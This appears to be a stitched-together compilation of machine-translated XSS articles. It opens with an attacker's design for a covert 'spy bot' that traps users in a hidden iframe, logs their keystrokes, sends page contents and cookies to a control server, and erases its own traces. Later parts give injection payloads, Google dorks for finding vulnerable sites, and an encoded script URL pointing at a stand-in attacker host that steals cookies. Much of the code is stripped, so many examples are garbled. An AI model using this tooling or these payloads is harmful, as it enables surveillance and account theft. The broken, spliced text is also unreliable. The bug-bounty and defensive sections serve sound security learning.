Like xss. XSS attacks: what they are and why they are dangerous

Everyone has long known that most often, using XSS, an attacker tries to send a Cookie to the victim, read CSRF tokens, carry out a phishing attack (by creating a fake login form), perform some action on behalf of the user, and some other similar attacks (perhaps this is not all possibilities, but these are all the most popular ones known to me at the moment).

The purpose of this method is to monitor the pages on behalf of the user that he navigates on the attacked site, as well as monitor his keystrokes (you can also use mouse movements and clicks, but for me this will be unnecessary, not particularly useful information, in most cases for sure) .
Now regarding the maximum benefit - I believe that the algorithm will be like this:

  • read and send Cookies;
  • read and send the rest of the information (IP address, installed plugins, browser version and type, flash support, silverlight support, etc.) [optional]
  • obtain information about the internal network, penetrate the router [optional]
  • read and send different tokens [optional];
  • implement phishing [optional];
  • we do something “with the user’s hands” [optional];
  • we continue to spy on him and get information until he closes the tab or leaves the site;

All optional list items IMHO should be performed depending on the situation and specific priorities for the goals that need to be achieved using XSS, they can sometimes interfere with each other (if you try to combine them, or rather execute one after the other) and increase the likelihood of failure of the XSS operation.
But the first and last points should always be fulfilled, in any case. Actually, the main part of the article will be about the last point from this list.

We are approaching the goal.

I'll start from afar: through JavaScript it is possible to change the path in the address bar without reloading the page. For example, if a user loaded a page at


Then the content in the address bar will become as follows (without reloading the page):

http: //site.com/new-url/


This feature, by the way, is sometimes quite useful when it is necessary to hide from users (or a more attentive category of users - admins) by quickly cleaning the URL after they clicked on a link that contained Reflected XSS, so that later, after loading the page, looking in the address bar, didn't find anything.

http : //site.com/search.php?q=123 document . body. innerHTML += "Hacked" ;

http: //site.com/search.php?q=123 window. history. pushState ("" , "" , "/" ) ; document. body. innerHTML += "Hacked" ;


we will deprive him of this opportunity.

But this technique has even more interesting and powerful applications. We will simulate the user's stay on the site after clicking on the link, in fact, he will remain on one page all the time, and at this time a third-party script will work, extracting and sending information to the attacker. Thus, XSS will work as long as the user clicks on a link on this domain .

We designate the idea.

The general principle of operation is this: when a user enters a page with XSS, the script creates an iframe with the same address as the page and “attaches” it to the foreground, the user gets the impression that the page loaded normally, because the iframe can only be seen in the code pages.

And the auxiliary script controls the logic of the spy bot, that is, it monitors when the address in the frame changes in order to change it in the address bar, but if the newly changed frame address has a different domain, then you can open it in a new tab, or you will have to reload the page so as not to get burned.
Thus, in order for XSS to stop executing at the moment, the user must either refresh the page manually (if the XSS is Reflected and was transmitted using the POST method, in other cases the update will not help, and by the way, some browsers can now send a POST request again when updating the page) or close the tab or switch to another domain (although in this case you can still avoid losing control).

If it goes to a subdomain of the attacked domain, then it’s the attacker’s choice, that is, XSS will work, but there is a small chance that the user will detect a discrepancy between the address. I think that depending on the situation, for example, if the google.ru domain was attacked, the user switched to Google’s cloud file service, which usually lies in the drive.google.ru subdomain, then the likelihood that he will notice the catch when looking at the address bar is quite high , if he often used this service. Otherwise, you might as well take a risk. But we must take into account that we will no longer be able to read its data from a frame with a subdomain, since Cross Origin Policy will not allow it. But we can safely surf the main domain on its behalf in hidden mode (more on this below).

Only this method has limitations, namely, it will not work if the site’s web server responses contain an X-Frame-Options header with the value DENY . But personally, I’ve come across such sites literally a couple of times; now even half of them don’t have SAMEORIGIN set, not to mention the complete restriction through DENY.

Let's analyze the idea.

Now many probably remember such a wonderful thing as BeEF, which also has a lot of interesting things. By the way, there is also an option to force the user to redirect in the frame, but the address in the address bar does not change, which can quickly burn down the desk and this option serves slightly different purposes.
In general, BeEF has almost everything you need and even many additional functions, but personally I wanted additional functionality, namely:

  • the ability to monitor the code of pages that are accessible to the attacked user in real time;
  • the ability to see everything he types on that site (from login and password, to hotkeys and messages), that is, a keylogger in JS;
  • the ability to give JS commands to your bot in real time, after viewing the code of the received pages;
  • the ability to leave commands to the bot locally, so that it can later “pick them up” and execute them without our direct participation;
  • a lower probability of the bot being burned, or the bot’s ability to “hide” from prying eyes;

As mentioned above, I decided to borrow the cool idea of ​​a command execution queue from BeEF. For example, we analyzed the pages that the bot dropped when a privileged user was accessing his control panel with stored XSS, we leave commands to the bot - JS code, like the next time the user logs in, click this button, write this value here, etc. , the next time this user visits the page, the bot reads the commands and executes them, and we don’t have to be at its helm for everything - it’s very convenient.

Basically, such a bot is, of course, designed for high-status users of some sites that have additional “levers” for managing content, other users, etc. From the requests for functionality it is clear that we cannot do without the server part.

Let's implement the idea.

In principle, you can skip this part of the article, since it simply describes the process of implementing the desired bot and some of its details, in case someone wants to remake it or customize it for themselves. Although the bot will have variables at the beginning of the code through which you can set some settings.
First, the algorithm of the bot’s actions from the moment of loading:

1) Checking for header presence X-Frame-Options:DENY(if there is one, then we roll up the fishing rods);
2) Embedding a frame and setting up all components of the bot;
3) Removing the script and all traces in the HTML code;
4) Establishing contact with the server part and starting to send data, responding to responses (receiving commands from the server);

The first point was not done completely, that is, the bot only checks the first page and the root header. The fact is that usually these headers are built in by the web server for all pages at once and it is very rare that for a single page everything is done “manually”. And this title itself is quite rare. Well, there’s not much to say about the second and third, everything will be below.

There is a relatively important point that before adding bot script code in your code, you need to get rid of XSS signs in the address bar immediately (from the JS code), since this reduces the chances of detection and, most importantly, prevents recursion that occurs when adding an address to the frame with the same XSS code, which in turn creates another frame with itself, and so on.

But just in case, the bot code implements the ability to detect such frame recursion and prevent it at the first attempt to add a frame to an already created one, but it is better not to rely only on it, but to additionally remove the code before loading the bot code. Although I haven't encountered any problems yet.

Frame update check function. I tried several ways to economically solve this problem by hanging event handlers on contentWindow or contentDocument, but nothing worked, so I had to write a function that would check the address of the frame and compare it with the previously saved one, and based on this, decide whether the frame was being updated (whether the address had changed) and then call itself recursively.

The frequency of such checks per second is controlled by the variable delay, which is listed at the beginning of the bot code file. But later, having already written it, I found a more effective solution - use a simple solution and hang onload to the frame, so I left that function, but commented it out, in case it later turns out to be more in demand.

Sending the HTML code of the page.

The scheme here is quite simple - after each frame reload (including the first loading), the bot sends to the server the entire HTML code of the page along with its current address, so that later it can be distinguished whether the code belongs to the desired pages.

The server implements the logic of storing pages - the server creates a folder for each domain with the name of this domain and saves all the data there. Page codes are saved and constantly updated to the latest versions, but every new day a new copy of the page is created so that you can control the version history if necessary. That is for /news.php On September 1, the state will be updated, and on September 2, a copy of it will be created, only relevant for that day, and so on every day again (if the user visits this page every day). The page name consists of the date and path to this page relative to the root of the site (that is, without the domain).

Keylogger in JavaScript.

The idea had already been implemented by some enthusiasts, but their work was not suitable for me, if only because most of them were quite simple, that is, they detected the code of the pressed key and through String.fromCharCode translated into symbols. But this method has a number of disadvantages - control keys such as shift, control, space, etc., are not translated into any form (often simply into an empty character), the interaction of alphanumeric keys with shift is incorrectly logged, since this must be implemented programmatically, and Also, all pressed keys are displayed in upper case, which can also be corrected programmatically.

The result was a keylogger that correctly detected all the keys of numbers, letters and basic characters, working on both layouts, reacting to shift and logging all the main special keys. True, some characters (at the top of the number row, which are printed when the shift and number are pressed) may differ on some machines, since they were implemented according to the basic standard, which some companies change.
Each portion of characters pressed is retained by the client until the text element loses focus. Next, this portion is sent to the server, where it is saved in a text file, which will also be created every day with a new copy, so that it does not grow to large sizes and you can quickly find what the user was typing at that time.
In addition to the keys themselves, information about the element in which the text was typed is sent to the server with each portion (that is, whether it was , [ or some when the user used hotkeys), in addition to the name of the element, its basic data (id, name, class - if present) is sent so that it can then be easily found in the code. And of course, the address of the page on which the recruitment was made and the approximate time of this recruitment are recorded. In general, enough information about the user’s tapping on the keyboard is sent for subsequent analysis.

Command your bot.

This process can be carried out by the attacker or on the side where the bot will run the server side or even remotely. After running the server script, a self-written miniature web server starts, which serves requests from the bot and its controller, which works through the web interface. That is, after starting, the web server issues a link, by going to which you can start giving commands to the bot.

About this control panel. Firstly, it was necessary to restrict it with a password (the path and few people will know about the running service on such and such a port or about the address to which they need to go to in order to use this service), so that on the first login the server will ask for a password, which is supplied in the address bar (an example will be provided), the original password is stored in password.txt, which can be changed. After the first login, the web server will instruct the browser to save the password in a cookie, so you don’t have to worry about it any further.

On the page itself for sending commands to the bot there is also information about the state of the bot - whether it is online or offline at the moment, and a couple of settings, the first of which is the host, that is, the IP address or domain of the site to which commands will be sent to the bot. This is designed in case several sites contain this bot, so that they can be identified. On the server, also for this case, all data is divided into folders with domain names.
Next is a window where you can write commands to the bot in JS, and an option that sets where this JS code will be executed, on the main window where the bot sits or in a frame - this is done for convenience, just in case.

If the bot is not online, then the server simply saves the commands and later, when the bot goes online, that is, the user again visits the page with it or follows the attacker’s link, these commands will be executed.
This is very convenient if, during the first reconnaissance, the bot threw off all the pages visited by the user (for example, a personal account), after studying the code of which we wrote commands in JS, so that the bot would then click on the links we needed, enter the necessary data, display the necessary pictures, etc., which will help achieve your goal.

Or you can directly in real time, quickly view the contents of pages through the code and give commands to the bot so that it sends the code of other pages, goes to another address, etc. And all this will be done “behind the screen” of the user, who will calmly surf site through a frame.

For your convenience, you can form the most frequently used instructions into entire functions in JS, which are then entered into the bot’s source file ( xsb.js, more about the file structure below) and use. Or use those functions that are included in the bot, although there is only the basics and there is nothing new, but for example, you can use the function of sending the page code at any time, and not when the frame is reloaded. You can write a function that will open the links passed to it in new frames in the background in order to view the contents of several pages at once on behalf of the user (and operate with this content with his virtual hands).

Removing your own code.

Well, the last feature is implemented quite simply (it can be disabled by setting the desired variable in the file, they are commented out). The script, after setting up and hanging all event handlers, creating all variables and functions, deletes itself

After all, all the data has already been loaded into RAM through the browser, so there is nothing to worry about, but this is in theory, maybe later there will be some problems that I did not take into account, so I created a variable that can be used to disable this feature by necessary.

After deleting all the scripts, it will be extremely difficult to notice XSS, since the presence of a frame does not indicate this quite indirectly, and the code itself can only be found in the browser’s network traffic history logs (which are not kept by default in many browsers if the developer panel is not open) .

Server part.

For a simpler and more convenient way to launch the bot, it was decided to write our own small web server on sockets, which would serve the bot, provide all operations for accepting and posting sent data, transmit messages between the attacker and the bot, and create a web interface for the attacker to command .
The server was written in Python, I tried to use only standard libraries so that I didn’t have to install anything before launching. Also, the server itself edits some data in the scripts, that is, in the bot’s JS script there is no need to set the address of the commanding server, the web server itself will set the required one there upon startup. There is only one parameter in the server configuration - the port on which it will start (default is 8000).
After starting, the server will provide all the necessary data - a link to the JS script, which will need to be slipped, a link to the command panel, or rather links to external and local addresses, for convenience.

Scheme of working with the bot.

We launch the server on some unclaimed port and you can send out a link with a bot script, then everyone who clicks on it will send you data that the server will save at any time of the day. Then you can simply view them if there is a need to leave the team bot and continue to do its own thing.

File structure.

The folder contains the following files:

  • xsb.py – the main file that implements the server part; for the bot to work, launch it, and then simply use the link it offers;
  • xsb.js – the JS code of the bot is stored here, the link to which is provided by the server; configuration variables are declared at the beginning of it, which can be changed at your discretion (some, namely the host and port, the server will set later itself, you don’t have to worry about);
  • panel.html – from here the server takes the code for the bot control panel, you can adjust the interface at your discretion;
  • password.txt – the password for the control panel is stored here, which can be changed;
  • savedData is the directory in which folders with website domains will be created, in which all information will be saved.

Let me note again that in the file xsb.js you can add your own functions, which you can then call through the panel without writing huge portions of code;

A short analysis of the results.

After writing my own invented way to keep a user on a page with XSS through frames (well, as invented - I personally discovered it for myself, it is quite possible that someone else “invented” this same technique for themselves or it is already somewhere in the public glowed, because now it’s quite difficult to develop something truly new, and as a rule, after some time you discover that “this was already in The Simpsons”) I began to delve into BeEF in more detail and read its wiki. Then I discovered that another technique was implemented there to achieve the same goal - extending the user’s time on a page with executable XSS (which they called man-in-the-browser). And it was implemented like this: all the links on the original page were changed in such a way that when you clicked on any of them, the script did not reload the page, but through Ajax sent a request to the server and inserted the data received in the response, that is, one could say artificially updated it, which was also almost indistinguishable from ordinary refreshment.

Therefore, I was not the first to succeed in realizing this idea (even if the methods turned out to be different). But both of these methods have their drawbacks:

The loading method via does not work if there is a header in the response X-Frame-Options:DENY, but otherwise it works like a regular browser window;

The ajax method always works if the browser supports it (all major browsers support it now), but with the new Web 2.0 standard, more and more transitions are triggered by custom events of any elements via JS. One day I went to Google AdWords and decided to see how their HTML and JS interacted there, because all my spiders were extremely bad at creating the back map of this service. And I was quietly freaking out all evening about how unusual everything was there, when text elements were buttons and switchers and sliders and were depicted with everything else, and each one had about 30 handlers for different events.

That is, on a sophisticated site, the transition button (subjectively a link) will be implemented through a regular tag , which is loaded with styles and on which event handlers are attached, one of which, for example, onclick redirects the user to another page. There are also standard elements like [i] or himself etc., which are also actually links to other pages, but to which BeEF will not respond and the page simply will not update when you click on most buttons and other elements. Which may prompt the user to refresh the page or re-enter from the other side, which kills our active XSS session.

For brevity in naming the files, I called it Xss Spy Bot.

P.S.
This whole thing took a little over a month to write due to periodic lack of time and constant distractions. Also because of this, the quality of the code and the likelihood of running into some bug is quite high. So I ask you not to swear too much, but to write down what is wrong with someone so that it can be corrected.
I myself tested the bot on only 4 machines, all of them running Debian.

Long-term plans for this bot, if there is motivation:
– implement rendering of the code of the pages that the bot sends to the server, so that it immediately opens in the browser and can be “touched” and tested on the fly;
– they will try to catch some goodies from WebRTC technology, that is, find ways to get new information that pure JS cannot extract;
– implement communication between the bot and the server via the WebSocket protocol over HTTP;
– add some conveniences to the control panel;

Cross-site scripting using java script is the most popular type of attack. In this material we will tell you about the troubles that can arise from using a java script and how to protect yourself from XSS attacks.

What is an XSS attack?

XSS is a type of attack on users of Internet resources, the purpose of which is to steal the authentication data of site administrators in order to gain access to the administrative part and other users who have the ability to personal access to restricted parts of the resource.

These attacks can be carried out not only to hack a site, but also to steal:

  • Credentials for access to third-party resources;
  • Bank card numbers;
  • Data for access to electronic wallets;
  • Contact details;
  • Other user confidential data.
XSS attack vectors

This type of attack has two directions:

Active – a type of attack when an attacker tries to find vulnerabilities in an Internet resource filter. Using a certain combination of characters and tags, the hacker creates a request that the resource understands and executes the command. After finding a vulnerability in the security system, malicious code is inserted into the request, which, for example, will send all cookies to a place convenient for the hacker.

Passive - involves the intervention of the subject of the attack. The idea is to force the user to follow a malicious link to implement malicious code. These attacks are difficult to implement because they require the attacker to have excellent technical knowledge and good knowledge of psychology.

Safety rules

To avoid becoming a victim of an XSS attack, you should adhere to the following security rules:

  • The main rule for developers is to use any filter.
  • Filter all nested structures.
  • Encryption. When creating a filter, be sure to consider the risk of encoding attacks. There are a lot of encoding programs that can be used to encrypt any attack so that not a single filter will “see” it. So apply the decryption in the filter before executing the request code.
  • Applying tags. There is one vulnerability associated with the url, bb, img tags, which have many parameters, including lowsrc and dynsrc, containing javacsript. These tags should be filtered. If you do not use images on your resource, then disable them altogether.
  • The filter used must take into account various possible character combinations. The more there are, the better.
  • Conclusion

    According to statistics, 84% of Internet resources are well protected from XSS attacks. The other 16% are unable to effectively resist them. Eliminating this gross flaw requires site owners to make additional investments in security, which most of them are not ready for. However, tightening legislation regarding damage, leakage and disclosure of personal data is increasingly forcing unscrupulous owners to improve the security of their sites.

    Cross-site scripting (XSS) is a vulnerability that involves injecting client-side code (JavaScript) into a web page that other users are viewing.

    The vulnerability is due to insufficient filtering of the data that the user submits for insertion into the web page. It's much easier to understand with a concrete example. Remember any guest book - these are programs that are designed to accept data from the user and then display it. Let's imagine that the guest book does not check or filter the entered data in any way, but simply displays them.

    You can sketch out your simplest script (there is nothing easier than writing bad scripts in PHP - many people do this). But there are already plenty of ready-made options. For example, I suggest starting with Dojo and OWASP Mutillidae II. There is a similar example there. In a standalone Dojo environment, go to this link in your browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    If one of the users entered:

    The web page will then display:

    Hello! I like your site.

    And if the user enters this:

    Hello! I like your site.alert("Pwned")

    Then it will be displayed like this:

    Browsers store many cookies for a large number of sites. Each site can only receive cookies saved by itself. For example, example.com has stored some cookies in your browser. If you visit another.com, this site (client and server scripts) cannot access the cookies that example.com has stored.

    If example.com is vulnerable to XSS, this means that we can somehow inject JavaScript code into it, and that code will be executed on behalf of example.com! Those. This code will, for example, access the cookies of example.com.

    I think everyone remembers that JavaScript is executed in user browsers, i.e. in the presence of XSS, the embedded malicious code gains access to the data of the user who opened the website page.

    The embedded code can do everything that JavaScript can do, namely:

    • gains access to the cookies of the website you are viewing
    • can make any changes to the appearance of the page
    • accesses the clipboard
    • can implement JavaScript programs, for example, keyloggers (keystroke interceptors)
    • pick up on BeEF
    • etc.

    The simplest example with cookies:

    alert(document.cookie)

    In fact, alert is only used to detect XSS. The real malicious payload performs hidden actions. It secretly contacts the attacker’s remote server and transfers stolen data to it.

    Types of XSS

    The most important thing to understand about the types of XSS is that they are:

    • Stored (Permanent)
    • Reflected (Fickle)

    Example of constants:

    • A specially crafted message entered by the attacker into the guest book (comment, forum message, profile), which is saved on the server, is downloaded from the server every time users request to display this page.
    • The attacker gained access to the server data, for example, through SQL injection, and introduced malicious JavaScript code (with kilologgers or BeEF) into the data given to the user.

    Example of non-permanent ones:

    • There is a search on the site that, along with the search results, shows something like “You searched for: [search string]”, and the data is not filtered properly. Since such a page is displayed only to the person who has a link to it, the attack will not work until the attacker sends the link to other users of the site. Instead of sending a link to the victim, you can use the placement of a malicious script on a neutral site that the victim visits.

    They also distinguish (some as a type of non-persistent XSS vulnerabilities, some say that this type can also be a type of persistent XSS):

    • DOM models
    Features of DOM-based XSS

    To put it very simply, we can see the malicious code of “regular” non-persistent XSS if we open the HTML code. For example, the link is formed like this:

    Http://example.com/search.php?q="/>alert(1)

    And when we open the source HTML code, we see something like this:

    alert(1)" /> Find

    And DOM XSS changes the DOM structure, which is formed in the browser on the fly, and we can only see malicious code when viewing the generated DOM structure. The HTML does not change. Let's take this code as an example:

    site:::DOM XSS An error occurred... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

    ")

    Then in the browser we will see:

    Page source code:

    Let's form the address like this:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Now the page looks like this:

    But let's take a look at the HTML source code:

    Nothing has changed there at all. This is what I was talking about, we need to look at the DOM structure of the document to identify malicious code:

    Here is a working XSS prototype, for a real attack we need a more complex payload, which is not possible due to the fact that the application stops reading right after the semicolon, and something like alert(1);alert(2) is no longer possible. However, thanks to unescape() we can use a payload like this in the return data:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Where we replaced the symbol ; to the URI-encoded equivalent!

    We can now write a malicious JavaScript payload and compose a link to send to the victim, as is done for standard non-persistent cross-site scripting.

    XSS Auditor

    In Google Chrome (and also in Opera, which now uses the Google Chrome engine), this surprise awaited me:

    dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

    Those. the browser now has an XSS auditor that will try to prevent XSS. Firefox doesn't have this functionality yet, but I think it's a matter of time. If the implementation in browsers is successful, then we can talk about a significant difficulty in using XSS.

    It's good to remember that modern browsers are taking steps to limit the level of exploitative problems like non-persistent XSS and DOM-based XSS. This is also something to remember when testing websites using a browser - it may well turn out that the web application is vulnerable, but you do not see the pop-up confirmation only because the browser is blocking it.

    XSS exploitation examples

    Attackers intending to exploit cross-site scripting vulnerabilities must approach each vulnerability class differently. The attack vectors for each class are described here.

    For XSS vulnerabilities, attacks can use BeEF, which extends the attack from the website to the users' local environment.

    Example of a non-persistent XSS attack

    1. Alice frequently visits a certain website hosted by Bob. Bob's website allows Alice to log in with a username/password and store sensitive data such as payment information. When a user logs in, the browser stores authorization cookies, which look like meaningless characters, i.e. both computers (client and server) remember that she entered.

    2. Mallory notes that Bob's website contains a non-persistent XSS vulnerability:

    2.1 When you visit the search page, enter the search string and click on the submit button, if no results are found, the page displays the entered search string followed by the words “not found” and the url looks like http://bobssite.org?q= her search query

    2.2 With a normal search query like the word "dogs", the page simply displays "no dogs found" and the url http://bobssite.org?q=dogs, which is completely normal behavior.

    2.3 However, when an anomalous search query like alert("xss"); :

    2.3.1 A warning message appears (which says "xss").

    2.3.2 The page displays alert("xss"); not found along with an error message with the text "xss".

    2.3.3 url suitable for exploitation http://bobssite.org?q=alert("xss");

    3. Mallory constructs a URL to exploit the vulnerability:

    3.1 She makes the URL http://bobssite.org?q=puppies. She may choose to convert ASCII characters to hexadecimal format such as http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E in order to to prevent people from immediately deciphering a malicious URL.

    3.2 She emails some unsuspecting members of Bob's site saying, "Check out the cool dogs."

    4. Alice receives a letter. She loves dogs and clicks on the link. She goes to Bob’s site in the search, she doesn’t find anything, “no dog found” is displayed there, and in the very middle a tag with a script is launched (it is invisible on the screen), downloads and executes Mallory’s authstealer.js program (triggering an XSS attack). Alice forgets about it.

    5. The authstealer.js program runs in Alice's browser as if it originated from Bob's website. She grabs a copy of Alice's authorization cookies and sends them to Malory's server, where Malory retrieves them.

    7. Now that Mallory is inside, she goes to the payment section of the website, looks and steals a copy of Alice's credit card number. Then she goes and changes the password, i.e. Now Alice can't even come in anymore.

    8. She decides to take the next step and sends the link constructed in this way to Bob himself, and thus receives administrative privileges for Bob's site.

    Persistent XSS attack

  • Mallory has an account on Bob's website.
  • Mallory notices that Bob's website contains a persistent XSS vulnerability. If you go to a new section and post a comment, it will display whatever is typed into it. But if the comment text contains HTML tags, those tags will be rendered as is, and any script tags will be executed.
  • Mallory reads an article in the News section and writes a comment in the Comments section. In the comment she inserts the text:
  • I really liked the dogs in this story. They are so nice!
  • When Alice (or anyone else) loads a page with this comment, Malory's script tag runs and steals Alice's authorization cookie, sending it to Malory's secret server for collection.
  • Mallory can now hijack Alice's session and impersonate Alice.
  • Finding sites vulnerable to XSS

    Dorks for XSS

    The first step is to select the sites on which we will perform XSS attacks. Sites can be searched using Google dorks. Here are a few of these dorks that you can copy and paste into a Google search:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    A list of sites will open in front of us. You need to open the site and find input fields on it, such as a feedback form, input form, site search, etc.

    Let me note right away that it is almost useless to look for vulnerabilities in popular automatically updated web applications. A classic example of such an application is WordPress. In fact, there are vulnerabilities in WordPress, and especially in its plugins. Moreover, there are many sites that do not update either the WordPress engine (due to the fact that the webmaster made some changes to the source code) or their plugins and themes (as a rule, these are pirated plugins and themes). But if you read this section and learn something new from it, then WordPress is not for you yet... We will definitely return to it later.

    The best goals are a variety of self-written engines and scripts.

    You can select the insert payload as

    alert(1)

    Pay attention to which HTML code tags your embedded code falls into. Here is an example of a typical input field:

    alert(1)

    Our payload will end up where the word "pillowcase" is now. Those. turn into the value of the input tag. We can avoid this - we close the double quote, and then the tag itself with "/>

    "/>alert(1)

    Let's try it for some site:

    Great, there is a vulnerability

    Programs for searching and scanning XSS vulnerabilities

    Probably all web application scanners have a built-in XSS vulnerability scanner. This topic is not comprehensive; it is better to get acquainted with each similar scanner separately.

    Cross-site scripting, or Cross site scripting, or XSS, involves a site that includes unintended Javascript code, which in turn is transmitted to users who execute the code in their browsers. A harmless example of XSS (which is exactly what you should use!) looks like this:

    alert('XSS');

    This will call the Javascript alert function and create a simple (and harmless) box with the letters XSS. In previous versions of the book, I recommended that you use this example when writing reports. That is, until one extremely successful hacker told me that it was a “horrible example,” explaining that the recipient of a vulnerability report might not realize the severity of the problem and, because the example was harmless, would pay out a small reward.

    So, use this example to detect an XSS vulnerability, but when writing the report, think about the potential harm that the vulnerability could cause and explain it. By this I don't mean telling the company what XSS is, but rather explaining what you can achieve by exploiting the vulnerability and how it could specifically impact their site.

    There are three different types of XSS that you may hear about while researching and reporting:

    • Reflective XSS: These attacks are not stored on the site, meaning the XSS is generated and executed in a single request and response.
    • Stored XSS: These attacks are stored on the site and are often more dangerous. They are stored on the server and executed on “normal” pages by unsuspecting users.
    • Self XSS: These attacks are also not stored on the site and are usually used as part of tricking a person into running XSS themselves. When you look for vulnerabilities, you will find that companies often don't care about eliminating Self XSS, they only care about cases where harm to their users may not be caused by themselves, but by someone else, as is the case with Reflective and Stored XSS. However, this does not mean that you should not look for Self XSS.

    If you find a situation where Self XSS can be executed but not saved, think about how this vulnerability could be exploited, can you use it in combination with something so that it is no longer Self XSS?

    One of the most famous examples of using XSS is MySpace Samy Work by Samy Kamkar. In October 2005, Sami exploited a stored XSS vulnerability in MySpace, which allowed him to upload Javascript code that was executed every time someone visited his MySpace page, adding the page visitor as a friend of Sami's profile. Moreover, the code also copied itself to the pages of Samy's new friends so that the profiles of his new friends were updated with the following text: “but most of all, samy is my hero.”

    Although Sami's example was relatively harmless, using XSS allows one to steal logins, passwords, banking information, and so on. Despite the potential harm, fixing XSS vulnerabilities is generally not difficult and requires developers to simply escape user input (just like HTML injection) when rendering it. Although, some sites also remove potentially malicious characters when the hacker sends them.

    1. Shopify Sale

    Difficulty: Low
    Url: wholesale.shopify.com
    Report link: https://hackerone.com/reports/10629326 Report date: December 21, 2015
    Reward Paid: $500
    Description:

    The Shopify27 sale site is a simple page with a direct call to action - enter the product name and click “Find Products”. Here's a screenshot:


    Screenshot of the wholesale sales site

    The XSS vulnerability here was the simplest one you can find - the text entered into the search bar was not escaped, so any Javascript entered was executed. Here is the sent text from the vulnerability description: test’;alert(‘XSS’);’

    The reason this worked is because Shopify took user input, executed the search query, and if there were no results, printed a message saying there were no search results for the search term entered, showing the unescaped user input on the page. As a result, the submitted Javascript was rendered on the page and browsers interpreted it as executable Javascript.

    Conclusions

    Test everything, paying special attention to situations where the entered text is rendered on the page. Test whether you can include HTML or Javascript in your input and see how the site processes it. Also try encoding the input similar to what is described in the chapter on HTML injections.

    XSS vulnerabilities don't have to be complex or confusing. This vulnerability was the simplest one imaginable - a simple text input field that does not process user input. And it was discovered on December 21, 2015, and brought the hacker $500! All it took was hacker thinking.

    2. Shopify Gift Card Cart

    Difficulty: Low
    Url: hardware.shopify.com/cart
    Report link: https://hackerone.com/reports/9508928 Report date: October 21, 2015
    Reward Paid: $500
    Description:

    The Shopify29 gift card store website allows users to create their own gift card designs using an HTML form that includes a file upload box, a few lines for text entry for details, and so on. Here's a screenshot:


    Screenshot of Shopify gift card store form

    The XSS vulnerability here was triggered when Javascript was entered into the form field intended for the image title. This is quite easy to do using HTML proxies, which we will talk about later in the “Tools” chapter. So the original form submission included:

    Content - Disposition : form - data ; name = "properties [Artwor 2 k file]"


    It could be intercepted and changed to:

    Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

    Conclusions

    There are two things to note here that will help detect XSS vulnerabilities:

  • The vulnerability in this case was not directly in the file upload field itself - it was in the field name. So when you're looking to apply XSS, don't forget to play around with all the available field values.
  • The specified value was sent after it was modified by a proxy. This is important in situations where values ​​are validated on the client side (in your browser) before being sent to the server.
  • In fact, any time you see live validation running in your browser, it should be a red flag to test that field! Developers can make mistakes by not validating submitted values ​​for malicious code on the server because they hope that the browser's Javascript validation has already done the checking.

    Ory Segal

    Learn how hackers use cross-site scripting attacks, what they do (and don't) damage, how to spot them, and how to protect your Web site and its visitors from these malicious privacy and security breaches.

    Cross-site scripting, or XSS for short, is one of the most common application-level attacks that hackers use to compromise Web applications. XSS is an attack on the privacy of customers of a particular Web site. It can lead to complete destruction of the security system when client data is stolen and used in the future for some purpose. Most attacks involve two parties: either an attacker and a Web site, or an attacker and a victim client. However, an XSS attack involves three parties: the attacker, the client, and the Web site.

    The goal of an XSS attack is to steal cookies or other sensitive information from a client's computer that can identify the client on a Web site. Having information to identify him as a legitimate user, an attacker can act on the site as such a user, i.e. pretend to be him. For example, in one audit conducted at a large company, it was possible to obtain a user's private information and credit card number using an XSS attack. This was achieved by running custom JavaScript code. This code was executed in the browser of the victim (client), who had access privileges to the Web site. There are a very limited number of JavaScript privileges that do not give the script access to anything other than site-specific information. It is important to emphasize that although the vulnerability exists on the Web site, the Web site itself is not directly damaged. But this is enough for the script to collect cookies and send them to the attacker. As a result, the attacker receives the necessary data and can imitate the victim.

    Let's name the attacked site as follows: www.vulnerable.site. A traditional XSS attack relies on a vulnerable script that resides on a vulnerable website. This script reads part of an HTTP request (usually parameters, but sometimes also HTTP headers or path) and repeats it for the response page, either all or just part. This does not sanitize the request (i.e., it does not check that the request does not contain JavaScript code or HTML tags). Let's say this script is called welcome.cgi and its parameter is the name. It can be used like this:

    How can this be abused? The attacker must be able to lure the customer (victim) into clicking the link the attacker provides them with. This is a carefully and maliciously crafted link that causes the victim's Web browser to access a website (www.vulnerable.site) and execute a vulnerable script. The data for this script contains JavaScript code that accesses the cookies stored by the client's browser for the site www.vulnerable.site. This is allowed because the client's browser "thinks" the JavaScript code is coming from www.vulnerable.site. And the JavaScript security model allows scripts originating from a specific site to access cookies that belong to that site.

    The response from the vulnerable site will be as follows:

    Welcome! Hi alert(document.cookie)

    Welcome to our system...

    The victim client's browser interprets this request as an HTML page containing a piece of JavaScript code. This code, when executed, will have access to all cookies belonging to the site www.vulnerable.site. Consequently, it will cause a pop-up window in the browser showing all the client's cookies that are related to www.vulnerable.site.

    Of course, a real attack would involve sending these files to the attacker. To do this, an attacker can create a Web site (www.attacker.site) and use a script to receive cookies. Instead of calling a pop-up window, the attacker would write code that accesses the URL to www.attacker.site. In this regard, a script is executed to obtain cookies. The parameter for this script is stolen cookies. Thus, an attacker can obtain cookies from the www.attacker.site server.

    Immediately after loading this page, the browser will execute the JavaScript code inserted there and forward the request to the collect.cgi script on www.attacker.site along with the value of the cookies from www.vulnerable.site that the browser already has. This undermines the security of the www.vulnerable.site cookies that the client has. This allows the attacker to pretend to be the victim. Client confidentiality is completely violated.

    Note.
